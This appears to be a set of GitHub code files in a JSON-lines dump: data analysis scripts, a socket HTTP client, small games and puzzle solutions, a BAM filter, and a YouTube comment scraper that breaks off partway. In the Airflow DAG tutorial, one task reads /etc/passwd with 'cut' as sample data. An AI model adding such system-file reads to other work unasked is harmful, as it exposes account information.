\"/Users/juliasuter/Documents/ASF_data\"\n\n\nepc_mapping = {\"A\": 6, \"B\": 5, \"C\": 4, \"D\": 3, \"E\": 2, \"F\": 1, \"G\": 0}\n\n\n# Loading\nepc_df = epc_data.load_preprocessed_epc_data(\n data_path=LOCAL_DATA_DIR,\n version=\"preprocessed\",\n usecols=[\n \"UPRN\",\n \"COUNTRY\",\n \"CURRENT_ENERGY_RATING\",\n \"CURRENT_ENERGY_EFFICIENCY\",\n \"ENERGY_RATING_CAT\",\n \"HP_INSTALLED\",\n \"N_SAME_UPRN_ENTRIES\",\n \"INSPECTION_DATE\",\n ],\n batch=\"2022_Q3_complete\",\n)\n\nprint(\"Number of samples:\", epc_df.shape[0])\n\n\n# Adding column for EPC rating score\nepc_df[\"EPC_RATING_AS_SCORE\"] = epc_df[\"CURRENT_ENERGY_RATING\"].map(epc_mapping)\n\n\n# Reducing to relevant samples\nmult_epcs = epc_df[epc_df[\"N_SAME_UPRN_ENTRIES\"] > 1]\n\nprint(\"Number of properties:\", len(mult_epcs[\"UPRN\"].unique()))\n\nfirst = (\n mult_epcs.sort_values(\"INSPECTION_DATE\", ascending=True).drop_duplicates(\n subset=[\"UPRN\"], keep=\"first\"\n )\n).sort_index()\n\n\nlast = (\n mult_epcs.sort_values(\"INSPECTION_DATE\", ascending=False).drop_duplicates(\n subset=[\"UPRN\"], keep=\"first\"\n )\n).sort_index()\n\n\nassert len(mult_epcs[\"UPRN\"].unique()) == first.shape[0]\nassert len(mult_epcs[\"UPRN\"].unique()) == last.shape[0]\n\nfirst.rename(\n columns={\n \"CURRENT_ENERGY_RATING\": \"CURRENT_ENERGY_RATING_AT_FIRST\",\n \"HP_INSTALLED\": \"HP_INSTALLED_AT_FIRST\",\n \"CURRENT_ENERGY_EFFICIENCY\": \"CURRENT_ENERGY_EFFICIENCY_AT_FIRST\",\n \"ENERGY_RATING_CAT\": \"ENERGY_RATING_CAT_AT_FIRST\",\n \"EPC_RATING_AS_SCORE\": \"EPC_RATING_AS_SCORE_AT_FIRST\",\n },\n inplace=True,\n)\n\nfirst_last_epcs = first.merge(\n last[\n [\n \"UPRN\",\n \"INSPECTION_DATE\",\n \"CURRENT_ENERGY_RATING\",\n \"ENERGY_RATING_CAT\",\n \"HP_INSTALLED\",\n \"EPC_RATING_AS_SCORE\",\n \"CURRENT_ENERGY_EFFICIENCY\",\n ]\n ],\n on=[\"UPRN\"],\n)\n\n# EPCs with no HP at first but later on\nhp_added_epcs = first_last_epcs[\n ~first_last_epcs[\"HP_INSTALLED_AT_FIRST\"] & first_last_epcs[\"HP_INSTALLED\"]\n]\n\nhp_added_epcs[\"EPC_CAT_DIFF\"] = (\n hp_added_epcs[\"EPC_RATING_AS_SCORE\"] - hp_added_epcs[\"EPC_RATING_AS_SCORE_AT_FIRST\"]\n)\ncat_diff = (\n round(\n hp_added_epcs[hp_added_epcs[\"EPC_CAT_DIFF\"] < 0].shape[0]\n / hp_added_epcs.shape[0],\n 4,\n )\n * 100\n)\n\nhp_added_epcs[\"EPC_SCORE_DIFF\"] = (\n hp_added_epcs[\"CURRENT_ENERGY_EFFICIENCY\"]\n - hp_added_epcs[\"CURRENT_ENERGY_EFFICIENCY_AT_FIRST\"]\n)\nscore_diff = (\n round(\n hp_added_epcs[hp_added_epcs[\"EPC_SCORE_DIFF\"] < 0].shape[0]\n / hp_added_epcs.shape[0],\n 4,\n )\n * 100\n)\n\nprint(\"Differences in EPC category: {}%\".format(cat_diff))\nprint(\"Differences in EPC score: {}%\".format(score_diff))\n","repo_name":"nestauk/asf_core_data","sub_path":"asf_core_data/analysis/epc_getting_worse.py","file_name":"epc_getting_worse.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"14666227894","text":"import socket\nimport os\nimport datetime\n\ndef msg_checker(a_string):\n if a_string == 'Ready to receive': # Used for handshakes\n return ('-1' ,-1, 'POST')\n \n b = a_string.split('\\n') # divide string to lines\n first_line = b[0]\n state = first_line.split(' ')[2] # state of message\n if state == 'OK':\n type_of_file = b[-2].split(': ')[1].split('/')[1]\n #size_of_file = int(b[-3].split(': ')[1])\n return (type_of_file , int(b[-3].split(': ')[1]), 'GET')\n return('-1', -1, '-1')\n\nPORT = 5050\nFORMAT = 'utf-8'\nDISCONNECT_MESSAGE = '!DISCONNECT'\nSERVER = '192.168.56.1'\nADDR = (SERVER, PORT)\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(ADDR)\n\n\ndef get(Method, version, HOST, Language, path):\n# sending get messages\n msg = Method + ' ' + path + ' HTTP/' + version + '\\n' + 'HOST: ' + HOST + '\\n' + 'Accept-Language: ' + Language\n\n f = open('Client\\\\file_names.txt', 'w') # open a file to save the name and URL\n Client_path = 'Client\\\\' + path.split('\\\\')[-1]\n f.write(Client_path)\n f.close()\n \n return msg\n\n\ndef post(Method, version, HOST, Language, Forbidden, Name_of_file, Client_path):\n request_time = str(datetime.datetime.now()) # fetch now time\n type_of_file = os.path.splitext(Client_path)[1][1::] # fetch type of file\n if type_of_file == 'jpg' or type_of_file == 'png':\n type_of_file = 'image/' + type_of_file\n else:\n type_of_file = 'text/' + type_of_file # add proper string to the type of file\n \n f = open('Client\\\\file_names.txt', 'w')\n f.write(Client_path)\n f.close()\n length_of_file = os.path.getsize(Client_path) # extract the length of file\n if Forbidden == False: # the body is valid\n msg = Method + ' ' + Name_of_file + ' ' + 'HTTP/' + version + '\\n' +\\\n 'HOST: ' + HOST + '\\n' +\\\n 'Accept-Language: ' + Language + '\\n' +\\\n 'Content-Length: ' + str(length_of_file) + '\\n' +\\\n 'Content-Type: ' + type_of_file + '\\n' +\\\n 'Date: ' + request_time\n return msg\n\n if Forbidden == True: # the body is invalid\n msg = Method + ' ' + Name_of_file + ' ' + 'HTTP/' + version + '\\n' +\\\n 'HOST: ' + HOST + '\\n' +\\\n 'Accept-Language: ' + Language + '\\n' +\\\n 'Content-Length: ' + str(length_of_file) + '\\n' +\\\n 'Content-Type: ' + type_of_file + '\\n' +\\\n 'Date: ' + request_time + '\\n\\n' +\\\n '

FORBIDDEN!

'\n return msg\n\ndef send(msg):\n message = msg.encode(FORMAT)\n client.send(message) # sending message\n response = client.recv(2048).decode(FORMAT) # receiving message\n \n print(response)\n (type_of_file, size_of_file, Method) = msg_checker(response) # analyze the received message\n\n \n if type_of_file != '-1' and Method == 'GET': #get file\n####################################### Handshaking Protocol ##################################################\n client.send('Ready to receive'.encode(FORMAT)) # ready to receive\n \n f = open('Client\\\\file_names.txt', 'r')\n Client_path = f.read() # fetch the address of file\n f.close()\n os.remove('Client\\\\file_names.txt')\n\n f = open(Client_path, 'wb')\n data = client.recv(size_of_file) # receiving data\n f.write(data)\n f.close()\n return\n \n if type_of_file == '-1' and Method == 'POST': # post file\n####################################### Handshaking Protocol ##################################################\n length_of_file = msg.split('\\n')[-3].split(': ')[1] # fetch length of file\n\n f = open('Client\\\\file_names.txt','r')\n Client_path = f.read()\n f.close()\n os.remove('Client\\\\file_names.txt')\n\n f = open(Client_path, 'rb')\n data = f.read(int(length_of_file))\n client.send(data) # sending data\n f.close()\n response = client.recv(2048).decode(FORMAT) # receive 200 ok message\n print(response) \n \nsend(post('POST', '1.1', 'developer.mozilla.org', 'fr', False, 'jungle', 'Client\\\\jungle.png'))\nsend(get('HEAD', '1.0', 'developer.mozilla.org', 'fr','Server\\\\postfile.txt'))\nsend(get('METHOD ', '1.6', 'developer.mozilla.org', 'fr','Server\\\\postfile.txt'))\n","repo_name":"kamyarrajabalifardi/Webserver-Protocol","sub_path":"Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":5002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10234810757","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n'''\nLeetCode 1382. Balance a Binary Search Tree\n\nGiven a binary search tree, return a balanced binary search tree with the same node values. A binary search tree is balanced if and only if the depth of the two subtrees of every node never differ by more than 1.\nIf there is more than one answer, return any of them.\n'''\nclass Solution:\n def balanceBST(self, root: TreeNode) -> TreeNode:\n data = []\n\n def inOrder(curNode):\n if (curNode == None):\n return\n inOrder(curNode.left)\n data.append(curNode.val)\n inOrder(curNode.right)\n\n def buildTree(arr):\n n = len(arr)\n if (n == 0):\n return None\n elif (n == 1):\n return TreeNode(arr[0])\n elif (n == 2):\n root = TreeNode(arr[1])\n root.left = TreeNode(arr[0])\n return root\n else:\n mid = n // 2\n root = TreeNode(arr[mid])\n root.left = buildTree(arr[:mid])\n root.right = buildTree(arr[mid+1:])\n return root\n\n inOrder(root)\n return buildTree(data)\n","repo_name":"tajshaik24/interviews","sub_path":"BalanceBST.py","file_name":"BalanceBST.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29337334496","text":"import tkinter as tk\r\nfrom tkinter import PhotoImage\r\nfrom tkinter import messagebox\r\nimport random\r\n\r\n#Whack-a-mole\r\ndef main():\r\n #Create the entire GUI program\r\n program = WhackAMole()\r\n\r\n #Start the GUI event loop\r\n program.window.mainloop()\r\n\r\nclass WhackAMole():\r\n \r\n STATUS_BACKGROUND = \"peachpuff\"\r\n NUM_MOLE_ACROSS = 2\r\n MIN_TIME_DOWN = 1000\r\n MIN_TIME_UP = 3000\r\n MAX_TIME_DOWN = 5000\r\n MAX_TIME_UP = 7000\r\n\r\n def __init__ (self):\r\n \r\n self.window = tk.Tk()\r\n self.mole_frame, self.status_frame = self.create_frames()\r\n \r\n self.mole_photo = PhotoImage(file = \"mole.png\")\r\n self.mole_cover_photo = PhotoImage(file = \"C:\\\\Users\\\\ntkha\\\\Documents\\\\CODING\\\\PYTHON\\\\PYTHON\\\\tkinter\\\\WhackAMole\\\\mole_cover.png\")\r\n \r\n self.label_timers = {}\r\n self.mole_labels = self.create_moles()\r\n\r\n self.hit_counter, self.miss_counter, self.start_button, self.quit_button = self.create_status_widgets()\r\n \r\n self.set_callbacks()\r\n self.game_is_running = False\r\n \r\n def create_frames(self):\r\n \r\n mole_frame = tk.Frame(self.window, bg = \"lightgreen\", width = 300, height = 300)\r\n mole_frame.grid(row = 1, column = 1)\r\n\r\n status_frame = tk.Frame(self.window, bg = WhackAMole.STATUS_BACKGROUND, width = 100, height =300)\r\n status_frame.grid(row = 1, column = 2, sticky=tk.N + tk.S + tk.W + tk.W, ipadx = 2)\r\n return mole_frame, status_frame\r\n\r\n def create_moles(self):\r\n mole_buttons = []\r\n for r in range(WhackAMole.NUM_MOLE_ACROSS):\r\n row_of_buttons = []\r\n for c in range (WhackAMole.NUM_MOLE_ACROSS):\r\n mole_button = tk.Button(self.mole_frame, image = self.mole_photo)\r\n mole_button.grid(row = r, column = c, padx = 8, pady = 8)\r\n\r\n row_of_buttons.append(mole_button) # add the mole to the list\r\n\r\n mole_buttons.append(row_of_buttons) # add the row of moles into the total\r\n\r\n return mole_buttons \r\n\r\n def create_status_widgets(self):\r\n spacer = tk.Label(self.status_frame, text = \"\", bg = WhackAMole.STATUS_BACKGROUND)\r\n spacer.pack(side = \"top\", fill = tk.Y, expand = True)\r\n\r\n hit_label = tk.Label(self.status_frame, text = \"Number of Hits:\", bg = WhackAMole.STATUS_BACKGROUND)\r\n hit_label.pack(side = \"top\", fill = tk.Y, expand = True)\r\n \r\n hit_counter = tk.Label(self.status_frame, text = \"0\", bg = WhackAMole.STATUS_BACKGROUND)\r\n hit_counter.pack(side = \"top\", fill = tk.Y, expand = True)\r\n\r\n spacer = tk.Label(self.status_frame, text = \"\", bg = WhackAMole.STATUS_BACKGROUND)\r\n spacer.pack(side = \"top\", fill = tk.Y, expand = True)\r\n\r\n miss_label = tk.Label(self.status_frame, text = \"Number of Misses:\", bg = WhackAMole.STATUS_BACKGROUND)\r\n miss_label.pack(side = \"top\", fill = tk.Y, expand = True)\r\n\r\n miss_counter = tk.Label(self.status_frame, text = \"0\", bg = WhackAMole.STATUS_BACKGROUND)\r\n miss_counter.pack(side = \"top\", fill = tk.Y, expand = True)\r\n\r\n spacer = tk.Label(self.status_frame, text=\"\", bg=WhackAMole.STATUS_BACKGROUND)\r\n spacer.pack(side=\"top\", fill=tk.Y, expand=True)\r\n\r\n start_button = tk.Button(self.status_frame, text=\"Start\", bg = \"peachpuff\")\r\n start_button.pack(side=\"top\", fill=tk.Y, expand=True, ipadx=10)\r\n\r\n spacer = tk.Label(self.status_frame, text=\"\", bg=WhackAMole.STATUS_BACKGROUND)\r\n spacer.pack(side=\"top\", fill=tk.Y, expand=True) # create distance between labels\r\n\r\n quit_button = tk.Button(self.status_frame, text=\"Quit\", bg = \"peachpuff\")\r\n quit_button.pack(side=\"top\", fill=tk.Y, expand=True, ipadx=10)\r\n\r\n spacer = tk.Label(self.status_frame, text=\"\", bg=WhackAMole.STATUS_BACKGROUND)\r\n spacer.pack(side=\"top\", fill=tk.Y, expand=True)\r\n \r\n return hit_counter, miss_counter, start_button, quit_button\r\n\r\n def set_callbacks(self):\r\n\r\n # set the same callback for each mole button\r\n for r in range(WhackAMole.NUM_MOLE_ACROSS):\r\n for c in range(WhackAMole.NUM_MOLE_ACROSS):\r\n self.mole_labels[r][c].bind(\"\",self.mole_hit)\r\n\r\n self.start_button[\"command\"] = self.start\r\n self.quit_button[\"command\"] = self.quit\r\n\r\n def mole_hit(self,event):\r\n \r\n if self.game_is_running:\r\n hit_label = event.widget\r\n if hit_label[\"image\"] == self.mole_cover_photo.name: # check whether the mole has been covered\r\n #Missed -> update the miss counter\r\n self.miss_counter[\"text\"] = str(int(self.miss_counter[\"text\"]) + 1)\r\n print(\"Missed.\")\r\n \r\n else:\r\n #Hit -> update the hit counter\r\n self.hit_counter[\"text\"] = str(int(self.hit_counter[\"text\"]) + 1)\r\n #Remove the mole and don't upload the miss counter\r\n self.put_down_mole(hit_label, False)\r\n print(\"Hit\")\r\n \r\n\r\n def start(self):\r\n \r\n if self.start_button[\"text\"] == \"Start\":\r\n #Change all the mole images to a blank image\r\n #A random time for the moles to re-appear on each label\r\n for r in range(WhackAMole.NUM_MOLE_ACROSS):\r\n for c in range(WhackAMole.NUM_MOLE_ACROSS):\r\n the_label = self.mole_labels[r][c]\r\n the_label[\"image\"] = self.mole_cover_photo\r\n time_down = random.randrange(WhackAMole.MIN_TIME_DOWN, WhackAMole.MAX_TIME_DOWN)\r\n timer_object = the_label.after(time_down, self.pop_up_mole, the_label)\r\n self.label_timers[id(the_label)] = timer_object\r\n\r\n \r\n self.game_is_running = True\r\n self.start_button[\"text\"] = \"Stop\"\r\n\r\n self.hit_counter[\"text\"] == \"0\"\r\n self.miss_counter[\"text\"] == \"0\"\r\n \r\n else:\r\n for r in range(WhackAMole.NUM_MOLE_ACROSS):\r\n for c in range(WhackAMole.NUM_MOLE_ACROSS):\r\n self.mole_labels[r][c][\"image\"] = self.mole_photo\r\n self.mole_labels[r][c].after_cancel(self.label_timers[id(self.mole_labels[r][c])])\r\n\r\n self.game_is_running = False\r\n self.start_button[\"text\"] = \"Start\"\r\n\r\n\r\n def put_down_mole(self,the_label, timer_expired):\r\n\r\n if self.game_is_running:\r\n if timer_expired:\r\n #User can't click the mole on time -> update the miss counter\r\n self.miss_counter[\"text\"] = str(int(self.miss_counter['text']) + 1)\r\n else:\r\n #The timer not expire, manually stop the timer\r\n the_label.after_cancel(self.label_timers[id(the_label)])\r\n\r\n #Make the mole invisible\r\n the_label[\"image\"] = self.mole_cover_photo\r\n\r\n #call to pop up the mole in the future\r\n time_down = random.randrange(WhackAMole.MIN_TIME_DOWN,WhackAMole.MAX_TIME_DOWN)\r\n timer_object = the_label.after(time_down,self.pop_up_mole,the_label)\r\n\r\n #Remember the timer object so it can be canceled later\r\n self.label_timers[id(the_label)] = timer_object\r\n \r\n def pop_up_mole(self, the_label):\r\n #show mole on the screen\r\n the_label[\"image\"] = self.mole_photo\r\n\r\n if self.game_is_running:\r\n #a call to make the mole disappear in the future\r\n timer_up = random.randrange(WhackAMole.MIN_TIME_UP,WhackAMole.MAX_TIME_UP)\r\n timer_object = the_label.after(timer_up, self.put_down_mole, the_label, True)\r\n self.label_timers[id(the_label)] = timer_object\r\n\r\n def quit(self):\r\n question = messagebox.askyesno(\"Quitting?\",\"Do you want to quit?\")\r\n if question:\r\n self.window.destroy()\r\n\r\n\r\n \r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"FayNguyen03/WhackAMole","sub_path":"Whack-a-mole.py","file_name":"Whack-a-mole.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3834351093","text":"# import library\nfrom datetime import timedelta\n# ไว้สร้างDAG\nfrom airflow import DAG\n# ไว้ใช้bash\nfrom airflow.operators.bash_operator import BashOperator\n# ไว้กำหนดวันเวลา\nfrom airflow.utils.dates import days_ago \n\n#definine DAG arguments.\ndefault_args = {\n 'owner': 'manew001',\n 'start_date': days_ago(0),\n 'email': ['manew@fakemail.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n}\n\n# define the DAG\ndag = DAG(\n 'my-first-dag',\n default_args=default_args,\n description='My first DAG',\n schedule_interval=timedelta(days=1),\n)\n\n# define the first task มีdelimiterเป็น\":\" ตัดเอาcolumn 136 \nextract = BashOperator(\n task_id='extract',\n bash_command='cut -d\":\" -f1,3,6 /etc/passwd > /home/project/airflow/dags/extracted-data.txt',\n dag=dag,\n)\n# define the second task\ntransform_and_load = BashOperator(\n task_id='transform',\n bash_command='tr \":\" \",\" < /home/project/airflow/dags/extracted-data.txt > /home/project/airflow/dags/transformed-data.csv',\n dag=dag,\n)\n# task pipeline\nextract >> transform_and_load\n\n''' คำสั่ง submitdag\ncp my_first_dag.py $AIRFLOW_HOME/dags\nairflow dags list\nairflow dags list|grep \"my-first-dag\"\nairflow tasks list my-first-dag \n'''","repo_name":"manew-c/Project2easyDAG","sub_path":"my_first_dag.py","file_name":"my_first_dag.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2990027281","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 9 18:04:33 2016\n\n@author: hg\n\nThe DropWhile Function\n\nhttps://www.codewars.com/kata/the-dropwhile-function/train/python\n\"\"\"\n\ndef drop_while(arr, pred):\n arr = iter(arr)\n value = [] \n for x in arr:\n if not pred(x):\n value.append(x)\n break\n for x in arr:\n value.append(x)\n return(value)\n\n\nis_even=lambda n: not n%2\nis_odd=lambda n: n%2\n\na = [2,6,4,10,1,5,4,3]\nb = [2,100,1000,10000,10000,5,3,4,6]\n\nprint(drop_while(b,is_even))","repo_name":"picral/CodeWarsProblems","sub_path":"the_Dropwhile_Function.py","file_name":"the_Dropwhile_Function.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74072759786","text":"import argparse\nimport sys\nfrom src import Context\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-i', '--input', help='name of input file')\nparser.add_argument('output', help='name of output file')\n\nargs = parser.parse_args()\n\ninput = open(args.input, 'r') if args.input else sys.stdin\noutput = open(args.output, 'w', encoding='utf-8')\n\ncontext = Context()\n\nif not args.input:\n print('Interactive mode. Ctrl-Z plus Return to exit.')\n\ndef read_line(line, last_line = False):\n out = context.read_line(line)\n if last_line: out = out[:-1]\n output.write(out)\n\n if not args.input:\n print(f'OUT: {repr(out)}')\n\nfor line in input:\n read_line(line)\n\nread_line('\\n', True)\n","repo_name":"ave-ottens/2WF90","sub_path":"Assignment 1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29329923545","text":"from scapy.all import Packet, BitField\n\n# Operations\nMED_CREATE = 0\nMED_ADD = 1\nMED_GET = 2\nMED_REMOVE = 3\n\n# Error codes\nMED_UNPROCESSED = 0 # request not processed\nMED_UNKN_OP = 1 # unknown operation\nMED_UNKN_KEY = 2 # unknown key\nMED_NO_RES = 3 # no available resources\nMED_UNKN_VAL = 4 # unknown value\nMED_SUCCESS = 0xf # success\n\n\nclass Median(Packet):\n \"\"\"Median header\n \"\"\"\n name = \"median\"\n fields_desc = [\n BitField('op', 0, 4),\n BitField('errno', 0, 4),\n BitField('key', 0, 32),\n BitField('val', 0, 32),\n BitField('nrvals', 0, 16)\n ]\n\n\nclass Value(Packet):\n \"\"\" Value header\n used during flow creation\n \"\"\"\n name = \"value\"\n fields_desc = [\n BitField('val', 0, 32)\n ]","repo_name":"GPojoga/stateful_data_analytics","sub_path":"sync/median/network/median.py","file_name":"median.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13937192103","text":"#!/usr/bin/env python3\n\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pysam\nimport sys\nimport statistics\n\nfrom collections import defaultdict\n\ndef usage():\n p = argparse.ArgumentParser( \n formatter_class=argparse.RawTextHelpFormatter,\n add_help=True,\n usage=argparse.SUPPRESS,\n description=\"\"\"Description:\n This script will allow you to filter a bam file based on certain flags.\n \"\"\",\n epilog=\"\"\"Examples:\n python bamParser.py -bam sample.sortedByCoord.bam -id 70 -aln_len 80 -out filtered.bam\n or\n python bamParser.py -bam sample.sortedByCoord.bam -id 70 -aln_len 80 -reads readnames.txt -out filtered.bam\n or\n python bamParser.py -bam sample.sortedByCoord.bam -id 70 -aln_len 80 -reads readnames.txt -out filtered.tsv -out_fmt tsv\n \"\"\")\n # Required\n p.add_argument('-bam', dest='bamfile', action='store', type=str, required = True,\n help='coord sorted bam file.')\n p.add_argument('-out', dest='output', action='store', type=str, required = True,\n help='output file name')\n\n p.add_argument('-id', dest='min_id', action='store', type=float,\n help='minimum percent nucleotide identity (inclusive).', default = 0)\n p.add_argument('-aln_len', dest='min_aln_len', action='store', type=float,\n help='minimum percent read alignment length (inclusive).', default = 0)\n p.add_argument('-reads', dest='read_list', action='store', type=str,\n help='only print reads mentioned in this file. 3 tab sep columns w/o header: read_name, organism_name, read_length')\n p.add_argument('-out_fmt', dest='output_fmt', action='store', type=str, default = 'bam',\n help='output format. Choose either \"tsv\" or \"bam\". Default is bam')\n p.add_argument('-plot', dest='plot', action='store_true',\n help='plot percent id and alignment length histograms', default = False)\n\n return vars(p.parse_args())\n\ndef parse_aln_record(aln):\n edit_dist = dict(aln.tags)['NM']\n query_len = aln.query_length\n ref_start = aln.reference_start\n ref_end = aln.reference_end\n\n pid = (query_len - edit_dist)*100/query_len\n aln_len = aln.get_overlap(ref_start, ref_end)*100/query_len\n\n return (pid, aln_len)\n\ndef acceptable_alignment(aln_pid, aln_len, min_pid, min_paln):\n # https://www.biostars.org/p/106126/\n # return ((aln_pid >= min_pid) and (aln_len >= min_paln))\n return (min_pid <= aln_pid <= 100) and (min_paln <= aln_len <= 100)\n\ndef get_series_stats(given_series):\n given_series = np.array(given_series)\n series_mean = np.mean(given_series)\n series_median = np.median(given_series)\n series_sd = np.std(given_series)\n series_var = np.var(given_series)\n series_coeff_var = series_sd / series_mean\n\n return (series_mean, series_median, series_sd, series_var, series_coeff_var)\n\ndef filter_bam(bamfile_name, min_id, min_aln_len,\n output_file_name, output_fmt, read_file, read_filter, plot):\n # open the BAM file for reading\n bam_in = pysam.AlignmentFile(bamfile_name, mode = 'rb')\n # figure out the output file handle\n if output_fmt == 'tsv':\n out_file = open(output_file_name, 'w')\n else:\n out_file = pysam.AlignmentFile(output_file_name, \"wb\", template=bam_in)\n\n aln_kept = 0\n aln_total = 0\n # create the read filter dict\n reads = defaultdict(int)\n if read_filter:\n with open(read_file, 'r') as readFile:\n for line in readFile:\n read, subject, read_bp = line.strip().split('\\t')\n reads[read] += 1\n pid_series = []\n alnLen_series = []\n # Go through the bam file, line-by-line till the end of file\n for aln in bam_in.fetch(until_eof=True):\n aln_total += 1\n # Continue until you find a read that's in the read filter\n if read_filter and not reads[aln.query_name]:\n continue\n if not aln.has_tag('NM'):\n continue\n if not aln.query_length:\n continue\n\n # Write to appropriate output \n # if alignment matches all the minimum alignment criteria?\n aln_pid, aln_aln_len = parse_aln_record(aln)\n if acceptable_alignment(aln_pid, aln_aln_len, min_id, min_aln_len):\n aln_kept += 1\n if read_filter:\n out_file.write(f'{aln.query_name}\\t{aln.reference_name}\\n')\n else:\n out_file.write(aln)\n \n if plot:\n pid_series.append(aln_pid)\n alnLen_series.append(aln_aln_len)\n\n if len(pid_series) > 0:\n plt.hist(pid_series, bins=100)\n plt.xlabel(\"Percent Identity\")\n plt.savefig(f\"{output_file_name}.perc_id.png\")\n # (pid_mean, pid_median, pid_sd, pid_var, pid_coeff_var) = get_series_stats(pid_series)\n # print(f'{pid_mean}\\t{pid_median}\\t{pid_sd}\\t{pid_var}\\t{pid_coeff_var}')\n\n if len(alnLen_series) > 0:\n plt.hist(alnLen_series, bins=100)\n plt.ylabel(\"Alignment Length\")\n plt.savefig(f\"{output_file_name}.alnLen.png\")\n # (alnLen_mean, alnLen_median, alnLen_sd, alnLen_var, alnLen_coeff_var) = get_series_stats(alnLen_series)\n # print(f'{alnLen_mean}\\t{alnLen_median}\\t{alnLen_sd}\\t{alnLen_var}\\t{alnLen_coeff_var}')\n\n # close the files\n out_file.close()\n bam_in.close()\n\n return (aln_kept, aln_total)\n\nif __name__ == \"__main__\":\n args = usage()\n\n bamfile_name = args['bamfile']\n output_file_name = args['output']\n output_fmt = args['output_fmt']\n\n min_id = args['min_id']\n min_aln_len = args['min_aln_len']\n read_filter = False\n read_file = ''\n if args['read_list']:\n read_filter = True\n read_file = args['read_list']\n else:\n output_fmt = 'bam'\n plot = args['plot']\n\n (aln_remaining, total_aln) = filter_bam(bamfile_name,min_id, min_aln_len,output_file_name,output_fmt,read_file,read_filter, plot)\n print(f'Retained {aln_remaining} out of {total_aln}. [~{round(aln_remaining*100/total_aln, 3)}%]')\n sys.exit(0)","repo_name":"FischbachLab/ninjaMap","sub_path":"ninjaMap/scripts/bamParser.py","file_name":"bamParser.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"17756943681","text":"import csv\nimport json\nfrom googleapiclient.discovery import build\nimport logging\n\napi_key = \"YOUR_KEY\"\n\nlogging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s [%(levelname)s] %(message)s\",\n handlers=[\n logging.FileHandler(\"log/logger.log\"),\n logging.StreamHandler()\n ]\n)\n\ndef video_comments(video_id):\n # empty list for storing reply\n replies = []\n\n # creating youtube resource object\n youtube = build(\"youtube\", \"v3\", developerKey=api_key)\n \n\n # retrieve youtube video results\n video_response = (\n youtube.commentThreads()\n .list(part=\"snippet,replies\", videoId=video_id, textFormat=\"plainText\")\n .execute()\n )\n\n # iterate video response\n response_comments = []\n while True:\n\n for item in video_response[\"items\"]:\n # Extracting comments\n comment = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"textDisplay\"]\n kind = item[\"kind\"]\n videoId = item[\"snippet\"][\"videoId\"]\n authorDisplayName = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\n \"authorDisplayName\"\n ]\n authorProfileImageUrl = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\n \"authorProfileImageUrl\"\n ]\n authorChannelUrl = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\n \"authorChannelUrl\"\n ]\n likeCount = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"likeCount\"]\n publishedAt = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"publishedAt\"]\n updatedAt = item[\"snippet\"][\"topLevelComment\"][\"snippet\"][\"updatedAt\"]\n\n # counting number of reply of comment\n replycount = item[\"snippet\"][\"totalReplyCount\"]\n comment_item = {\n \"videoId\": videoId,\n \"coomentId\": item[\"id\"],\n \"kind\":kind,\n \"authorDisplayName\": authorDisplayName,\n \"comment\": comment,\n \"authorProfileImageUrl\": authorProfileImageUrl,\n \"authorChannelUrl\": authorChannelUrl,\n \"likeCount\": likeCount,\n \"publishedAt\": publishedAt,\n \"updatedAt\": updatedAt,\n \"replycount\": replycount,\n \"isreply\": False,\n \"parentId\": \"NA\",\n }\n response_comments.append(comment_item)\n\n # if reply is there\n if replycount > 0:\n \n # iterate through all reply\n for reply in item[\"replies\"][\"comments\"]:\n # Extract reply\n reply_comment = reply[\"snippet\"][\"textDisplay\"]\n authorDisplayName = reply[\"snippet\"][\"authorDisplayName\"]\n authorProfileImageUrl = reply[\"snippet\"][\"authorProfileImageUrl\"]\n authorChannelUrl = reply[\"snippet\"][\"authorChannelUrl\"]\n likeCount = reply[\"snippet\"][\"likeCount\"]\n publishedAt = reply[\"snippet\"][\"publishedAt\"]\n updatedAt = reply[\"snippet\"][\"updatedAt\"]\n parentId = reply[\"snippet\"][\"parentId\"]\n kind = reply[\"kind\"]\n reply_item = {\n \"videoId\": videoId,\n \"coomentId\": reply[\"id\"],\n \"kind\":kind,\n \"authorDisplayName\": authorDisplayName,\n \"comment\": reply_comment,\n \"authorProfileImageUrl\": authorProfileImageUrl,\n \"authorChannelUrl\": authorChannelUrl,\n \"likeCount\": likeCount,\n \"publishedAt\": publishedAt,\n \"updatedAt\": updatedAt,\n 